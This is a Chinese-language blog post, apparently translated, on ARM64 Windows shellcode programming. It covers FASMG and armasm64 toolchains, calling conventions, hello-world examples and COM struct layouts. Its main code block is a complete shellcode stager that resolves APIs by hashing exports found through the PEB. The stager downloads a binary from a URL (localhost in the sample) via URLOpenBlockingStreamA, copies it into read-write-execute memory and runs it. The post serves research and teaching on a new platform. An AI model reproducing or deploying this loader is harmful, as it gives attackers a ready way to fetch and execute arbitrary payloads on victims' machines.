ARM64 Windows平台下的Shellcode编程实战

本文深入探讨了在Windows ARM64系统上编写shellcode的实践技术,包括汇编工具链的选择、系统调用机制、COM接口的调用、内存变量与结构体操作以及通过HTTP下载执行远程代码的完整实现方案。

Shellcode: Windows on ARM64 / AArch64

介绍 早在2018年10月,我就想尝试在Windows上编写ARM汇编。当时我只能找到一台在2012年10月发布的、运行Windows RT的Surface平板电脑。Windows RT(现已废弃)是专为32位ARMv7架构设计的Windows 8版本。到了2013年夏天,它被认为是一次商业上的失败。 对于开发者而言,虽然可以通过USB或网络从另一台机器编译二进制文件并在平板上运行,但除非你愿意获取开发者许可证,否则需要借助越狱漏洞才能实现。由于限制太多,我的注意力转向了运行在Raspberry Pi4上的Linux系统。 根据我的了解,2015年发布的Windows 10 for ARMv7相较于Windows RT有了显著的改进。虽然对开发者的限制依然存在,但至少微软提供了对x86应用程序的模拟支持。 如今,我终于有了一台运行Windows 11的ARM64设备,之前困扰各版本的问题都已不复存在。开发者获得了完整的原生支持,包括Visual Studio 2022,以及一个可以运行Ubuntu或Debian的Linux子系统(如果你希望为Linux编写ARM64应用程序的话)。或许最棒的一点是,它能够同时模拟x86架构的32位和64位应用程序。

工具链 要支持Windows on ARM,你至少有以下三种选择:

  • Visual Studio 2022
  • LLVM-MinGW
  • flat assembler g

MSVC和LLVM-MinGW最适合C/C++开发。我个人更喜欢GNU Assembler (as),而不是微软提供的ARM Macro Assembler (armasm64),但两者的主要问题在于缺乏对宏的支持。armasm64支持ARM文档中记录的大部分指令,但似乎存在一些限制。 据我所知,ARMASM完全不支持结构体,这使得用汇编语言编写程序变得非常困难。这也是GNU Assembler的一个问题,唯一的解决方法是为每个字段使用带有硬编码偏移量的符号名称。 不过,还是有希望的。尽管flat assembler g (FASMG) 由Tomasz Grysztar开发,并不直接支持ARM架构,但它是一个可适配的汇编引擎,“能够成为任何CPU架构的汇编器”。FASMG的包含文件中提供了通过宏实现的ARM64指令集,这正是我在本文中决定用于简单PoC(概念验证)的工具。 一旦你设置好FASMG,将asmFish中的AARCH64宏复制到包含目录中。我自己在fasm根目录下从命令提示符执行的批处理文件如下:

1
2
3
@echo off
set include=C:\fasmw\fasmg\packages\utility;C:\fasmw\fasmg\packages\x86\include
set path=%PATH%;C:\fasmw\fasmg\core

Thomas也提供了一个ARM64示例供入门参考。

调用约定 Windows在子程序调用上使用与Linux相同的约定。然而,系统调用的调用方式不同:Linux使用x8寄存器来保存系统调用ID,而Windows则将ID嵌入到SVC指令本身中。

寄存器 是否易失? 角色
x0 参数/暂存寄存器1,结果寄存器
x1-x7 参数/暂存寄存器2-8
x8-x15 暂存寄存器。也用作参数。
x16-x17 过程内调用暂存寄存器
x18 平台寄存器:在内核模式下指向当前处理器的KPCR;在用户模式下指向TEB
x19-x28 暂存寄存器
x29/fp 帧指针
x30/lr 链接寄存器
x31/zxr 零寄存器

你好,世界!(控制台) 最初,我使用的是ARMASM,所以下面的例子只是展示了如何创建一个简单的控制台应用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
    ; armasm64 hello.asm -ohello.obj
    ; cl hello.obj /link /subsystem:console /entry:start kernel32.lib

    AREA    .drectve, DRECTVE

    ; 调用API时避免重复输入相同的指令
    ; p1应该是可用于加载API地址的寄存器号
    MACRO
        INVOKE $p1, $p2          ; 宏名后跟参数个数
        adrp   $p1, __imp_$p2
        ldr    $p1, [$p1, __imp_$p2]
        blr    $p1
    MEND

    ; 为每个导入的API节省输入"__imp_"的时间
    MACRO
        IMPORT_API $p1
        IMPORT __imp_$p1
    MEND

    AREA    data, DATA

Text    DCB "Hello, World!\n"

; 为清晰起见使用符号常量
NULL equ 0
STD_OUTPUT_HANDLE equ -11

    ; 入口点
    EXPORT start

    ; 使用的API
    IMPORT_API ExitProcess
    IMPORT_API WriteFile
    IMPORT_API GetStdHandle

    ; 开始执行的代码
    AREA    text, CODE
start   PROC
    mov         x0, STD_OUTPUT_HANDLE
    INVOKE      x1, GetStdHandle

    mov         x4, NULL
    mov         x3, NULL
    mov         x2, 14     ; 字符串长度...
    adr         x1,Text
    INVOKE      x5, WriteFile

    mov         x0, NULL
    INVOKE      x1, ExitProcess
    
    ENDP
    END

这里还有一个简单的GUI版本。FASMG版本可以在这里找到。

你好,世界!(GUI)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
    ; armasm64 msgbox.asm -omsgbox.obj
    ; cl msgbox.obj /link /subsystem:windows /entry:start kernel32.lib user32.lib

    AREA    .drectve, DRECTVE

    ; 调用API时避免重复输入相同的指令
    ; p1应该是可用于加载API地址的寄存器号
    MACRO
        INVOKE $p1, $p2
        adrp   $p1, __imp_$p2
        ldr    $p1, [$p1, __imp_$p2]
        blr    $p1
    MEND

    ; 为每个导入的API节省输入"__imp_"的时间
    MACRO
        IMPORT_API $p1
        IMPORT __imp_$p1
    MEND

    AREA    data, DATA

Text    DCB "Hello, World!", 0x0
Caption DCB "Hello from ARM64", 0x0

; 为清晰起见使用符号名称
NULL equ 0

    ; 入口点
    EXPORT start

    ; 使用的API
    IMPORT_API ExitProcess
    IMPORT_API MessageBoxA

    ; 开始执行的代码
    AREA    text, CODE
start   PROC
    mov         x3,NULL
    adr         x2,Caption
    adr         x1,Text
    mov         x0,NULL
    INVOKE      x4, MessageBoxA

    mov         x0, NULL
    INVOKE      x1, ExitProcess
    
    ENDP
    END

符号名称

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; 以下是64位偏移量。
TEB_ProcessEnvironmentBlock                  = 0x00000060
TEB_LastErrorValue                           = 0x00000068

PEB_Ldr                                      = 0x00000018
PEB_LDR_DATA_InLoadOrderModuleList           = 0x00000010

LDR_DATA_TABLE_ENTRY_DllBase                 = 0x00000030

IMAGE_DOS_HEADER_e_lfanew                    = 0x0000003C

IMAGE_EXPORT_DIRECTORY_Characteristics       = 0x00000000
IMAGE_EXPORT_DIRECTORY_TimeDateStamp         = 0x0004
IMAGE_EXPORT_DIRECTORY_MajorVersion          = 0x0008
IMAGE_EXPORT_DIRECTORY_MinorVersion          = 0x000A
IMAGE_EXPORT_DIRECTORY_Name                  = 0x0000000C
IMAGE_EXPORT_DIRECTORY_Base                  = 0x00000010
IMAGE_EXPORT_DIRECTORY_NumberOfFunctions     = 0x00000014
IMAGE_EXPORT_DIRECTORY_NumberOfNames         = 0x00000018
IMAGE_EXPORT_DIRECTORY_AddressOfFunctions    = 0x0000001C
IMAGE_EXPORT_DIRECTORY_AddressOfNames        = 0x00000020
IMAGE_EXPORT_DIRECTORY_AddressOfNameOrdinals = 0x00000024

STATFLAG_DEFAULT = 0
STATFLAG_NONAME = 1
STATFLAG_NOOPEN = 2

STREAM_SEEK_SET = 0
STREAM_SEEK_CUR = 1
STREAM_SEEK_END = 2

结构体和联合体 FASMG提供了宏来支持Borland的Turbo Assembler或微软的Macro Assembler所支持的结构体和联合体。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct LARGE_INTEGER
    LowPart  dd ?
    HighPart dd ?
ends

struct ULARGE_INTEGER
    LowPart  dd ?
    HighPart dd ?
ends

struct GUID
    Data1    dd ?
    Data2    dw ?
    Data3    dw ?
    Data4    db 8 dup(?)
ends
    
struct STATSTG
    pwcsName          dq ?   ; LPOLESTR
    _type             dd ?   ; DWORD
    _padding          dd ?   ; padding for _type
    cbSize            ULARGE_INTEGER
    mtime             FILETIME    
    ctime             FILETIME  
    atime             FILETIME
    grfMode           dd ?
    grfLocksSupported dd ?
    clsid             GUID
    grfStateBits      dd ?
    reserved          dd ?
ends

COM接口 Shellcode使用IStream对象从HTTP请求中读取数据。FASMG提供了声明接口的宏。还有comcall和cominvk宏来调用接口方法。我在这里决定不使用它们。正如之前关于执行.NET程序集所指出的那样,接口本质上就是包含函数指针的结构体。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct IStreamVtbl
    ; IUnknown
    QueryInterface dq ?
    AddRef         dq ?
    Release        dq ?
    
    ; ISequentialStream
    Read           dq ?
    Write          dq ?
    
    ; IStream
    Seek           dq ?
    SetSize        dq ?
    CopyTo         dq ?
    Commit         dq ?
    Revert         dq ?
    LockRegion     dq ?
    UnlockRegion   dq ?
    Stat           dq ?
    Clone          dq ?
ends
          
struct IStream
    lpVtbl         dq ? ; pointer to IStreamVtbl
ends

局部变量 FASMG不直接支持局部变量。但你可以定义一个包含你变量的结构体来实现。

1
2
3
4
5
6
7
struct var_tbl
    pStream   IStream
    Stg       STATSTG
    liZero    LARGE_INTEGER
    BytesRead dq ?
    pCode     dq ?
ends

在程序或子程序的入口处,从堆栈指针中减去结构体的大小(按16字节对齐)。

1
    sub        sp, sp, ((sizeof.var_tbl + 15) and -16)

当你需要寻址一个变量时,可以使用ADD指令来访问偏移量。

1
2
    ; x2 = &var_tbl.pStream
    add        x2, sp, var_tbl.pStream

访问存储在var_tbl.pStream中的值:

1
2
    ; x2 = var_tbl.pStream
    ldr        x2, [sp, var_tbl.pStream]

FASMG最强大的功能之一是其对宏的支持。完全可以用宏来实现像SHA256、SHA512和SHA3这样的加密哈希算法。以下代码完全无法展示FASMG的全部潜力。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
macro hash_api dll_name, api_name
    local dll_hash, api_hash, b

    ; DLL 
    virtual at 0  
        db dll_name  
        dll_hash = 0  
        repeat $
            load b byte from % - 1  
            dll_hash = (dll_hash + b) and 0xFFFFFFFF
            dll_hash = ((dll_hash shr 8) and 0xFFFFFFFF) or ((dll_hash shl 24) and 0xFFFFFFFF) 
        end repeat  
    end virtual

    ; API
    virtual at 0  
        db api_name  
        api_hash = 0  
        repeat $
            load b byte from % - 1
            api_hash = (api_hash + b) and 0xFFFFFFFF
            api_hash = ((api_hash shr 8) and 0xFFFFFFFF) or ((api_hash shl 24) and 0xFFFFFFFF) 
        end repeat  
    end virtual

    dd (dll_hash + api_hash) and 0xFFFFFFFF
end macro

线程环境块 (TEB) xpr是x18寄存器的别名。如上文整数寄存器表所述,对于用户模式应用程序,它包含一个指向TEB的指针。AMD64使用的每个偏移量很可能也适用于ARM64。不过,更安全的做法是检查调试符号。 系统调用 对于x86,系统调用号放在累加器(EAX/RAX)中,但对于ARM64,它被嵌入到SVC操作码本身中,而且似乎没有替代方法(至少据我所知没有)。要构建一个新的系统调用存根,需要使用NtAllocateVirtualMemory并手动编码指令。 HTTP下载 以下代码使用URLOpenBlockingStream从网上下载一个shellcode并在内存中执行。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
start:
    ;brk        #0xF000
    
    sub        sp, sp, ((sizeof.var_tbl + 15) and -16)
    
    adr        x20, hash_tbl
    adr        x21, invoke_api

    ; LoadLibraryA("urlmon.dll")
    adr        x0, urlmon_name
    blr        x21
    cbz        x0, exit_shellcode
    
    ; hr = URLOpenBlockingStreamA(NULL, szUrl, &pStream, 0, 0);
    mov        x4, xzr
    mov        x3, xzr
    add        x2, sp, var_tbl.pStream
    adr        x1, url_path
    mov        x0, xzr           ; NULL
    blr        x21
    cbnz       x0, exit_shellcode
    
    ; STATSTG Stg;
    ; hr = pStream->Stat(&Stg, STATFLAG_NONAME);
    mov        x2, STATFLAG_NONAME
    add        x1, sp, var_tbl.Stg
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x3, [x0, IStream.lpVtbl]
    ldr        x3, [x3, IStreamVtbl.Stat]
    blr        x3
    cbnz       x0, exit_shellcode    
    
    ; LARGE_INTEGER liZero = { 0 }; 
    ; hr = pStream->Seek(liZero, STREAM_SEEK_SET, NULL);
    mov        x3, xzr                ; NULL
    mov        x2, xzr                ; STREAM_SEEK_SET
    add        x1, sp, var_tbl.liZero
    str        xzr, [x1]
    mov        x1, xzr
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x4, [x0, IStream.lpVtbl]
    ldr        x4, [x4, IStreamVtbl.Seek]
    blr        x4 
    cbnz       x0, exit_shellcode  
    
    ; pCode = VirtualAlloc(NULL, Stg.cbSize.LowPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    mov        x3, PAGE_EXECUTE_READWRITE
    mov        x2, MEM_COMMIT
    ldr        w1, [sp, var_tbl.Stg.cbSize.LowPart]
    mov        x0, NULL
    blr        x21
    cbz        x0, exit_shellcode  
    
    str        x0, [sp, var_tbl.pCode]
    
    ; hr = pStream->Read(pCode, Stg.cbSize.LowPart, &BytesRead);
    add        x3, sp, var_tbl.BytesRead
    ldr        w2, [sp, var_tbl.Stg.cbSize.LowPart]
    ldr        x1, [sp, var_tbl.pCode]
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x4, [x0, IStream.lpVtbl]
    ldr        x4, [x4, IStreamVtbl.Read]
    blr        x4
    cbnz       x0, exit_shellcode  
    
    ldr        x0, [sp, var_tbl.pCode]
    blr        x0
    
    blr        x21
    cbz        x0, exit_shellcode 
exit_shellcode:
    add        sp, sp, ((sizeof.var_tbl + 15) and -16)
    ret
    
invoke_api:
    ; 保存参数,除了不会用到的x0
    stp        x1, x2, [sp, -64]!
    stp        x3, x4, [sp, 16]
    stp        x5, x6, [sp, 32]
    stp        x7, x8, [sp, 48]

    ; Ldr = (PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;
    mov        x1, x18 ; xpr
    ldr        x2, [x1, TEB_ProcessEnvironmentBlock]
    ldr        x2, [x2, PEB_Ldr]
    
    ; end = (PLIST_ENTRY)&Ldr->InLoadOrderModuleList;
    add        x2, x2, PEB_LDR_DATA_InLoadOrderModuleList
    ; nxt = end->Flink;
    ldr        x3, [x2]            ; 读取第一个条目
nxt_dll:
    cmp        x3, x2              ; while (nxt != end)
    bne        load_dll_loop
    add        sp, sp, 64          ; 修复堆栈
    ;ret                            ; 返回调用者
load_dll_loop:
    ; bx = e->DllBase 
    ldr        x4, [x3, LDR_DATA_TABLE_ENTRY_DllBase]         
    ldr        x3, [x3]            ; nxt = nxt->Flink
    
    ; nt = VA(PIMAGE_NT_HEADERS, bx, ((PIMAGE_DOS_HEADER)e->DllBase)->e_lfanew);
    ldr        w5, [x4, IMAGE_DOS_HEADER_e_lfanew]     
    add        x5, x4, w5, uxtw #0 
    
    ; va = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    ; if (!va) continue;
    ldr        w5, [x5, #0x88]     
    cbz        w5, nxt_dll         
    
    ; exp = VA(PIMAGE_EXPORT_DIRECTORY, bx, va);
    add        x5, x4, w5, uxtw #0 
    
    ; cnt = exp->NumberOfNames;
    ; if (!cnt) continue;
    ldr        w6, [x5, IMAGE_EXPORT_DIRECTORY_NumberOfNames]    
    cbz        w6, nxt_dll        
    
    ; dll = VA(PCHAR, bx, exp->Name);
    ldr        w7, [x5, IMAGE_EXPORT_DIRECTORY_Name]      
    add        x7, x4, w7, uxtw #0

    mov        w8, #0              ; dx = 0
hash_dll:
    ; while (*dll) c = *dll++, 
    ; c = (c >= 'A' && c <= 'Z') ? (c | 32) : c, dx += c, dx = R(dx, 8);
    ldrsb      x9, [x7], 1        
    cbz        x9, exit_hash_dll
    
    sub        x10, x9, 'A'
    orr        x11, x9, 32
    cmp        x10, 26
    csel       x9, x11, x9, cc
    add        w8, w8, w9
    ror        w8, w8, 8
    b          hash_dll
exit_hash_dll:
    ; aon = VA(PDWORD, bx, exp->AddressOfNames);
    ldr        w9, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNames]
    add        x9, x4, w9, uxtw #0
    mov        x10, #0
nxt_api:
    mov        x11, #0
    ; api = VA(PCHAR, bx, aon[i]);
    ldr        w12, [x9, w10, uxtw #2] 
    add        x12, x4, w12, uxtw #0
hash_api_loop:
    ; while (*api) ax += *api++, ax = R(ax, 8);
    ldrsb      x13, [x12], 1
    cbz        x13, exit_hash_api
    
    add        w11, w11, w13
    ror        w11, w11, 8
    b          hash_api_loop
exit_hash_api:
    add        w11, w11, w8    ; 
    ldr        w12, [x20]      ; 加载哈希值
    cmp        w11, w12        ; if ((ax + dx) == hx)
    beq        load_api
    
    add        w10, w10, 1     ; i++
    cmp        w10, w6         ; i < cnt
    bne        nxt_api
    b          nxt_dll
    
load_api:
    add        x20, x20, 4
    
    ; aof = VA(PDWORD, bx, exp->AddressOfFunctions);
    ldr        w1, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfFunctions]
    add        x1, x4, x1
    
    ; ono = VA(PDWORD, bx, exp->AddressOfNameOrdinals);
    ldr        w2, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNameOrdinals]  
    add        x2, x4, x2
    
    ; pfn = VA(PVOID, bx, aof[ono[i]]);
    ldrh       w2, [x2, w10, uxtw #1]  ; 读取序数
    ldr        w1, [x1, x2, lsl #2]    ; 读取函数RVA地址
    add        x9, x4, w1, uxtw #0     ; 加上基址

    ; 加载保存在堆栈上的参数
    ldp        x1, x2, [sp], 16
    ldp        x3, x4, [sp], 16
    ldp        x5, x6, [sp], 16
    ldp        x7, x8, [sp], 16
    
    ; 执行API并返回原始调用者
    br         x9   
hash_tbl:
    hash_api "kernelbase.dll", "LoadLibraryA"
    hash_api "urlmon.dll",     "URLOpenBlockingStreamA"
    hash_api "kernelbase.dll", "VirtualAlloc"
    hash_api "kernelbase.dll", "ExitThread"
urlmon_name:
    db "urlmon", 0
url_path:
    db "http://localhost:1234/notepad.arm64.bin", 0

扩展阅读

  • 如何在Windows上设置fasmg
  • Project Chameleon
  • Jack-in-the-Cache:通过修改X86到ARM翻译缓存实现的新代码注入技术
  • Windows ARM64上的系统调用分发
  • 在Windows 10 ARM64上运行x64:这究竟是如何工作的?
  • Windows 10 on ARM – x86模拟
  • CVE-2021-21224
  • WoW64内部机制:重新发现ARM上的“天堂之门”
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计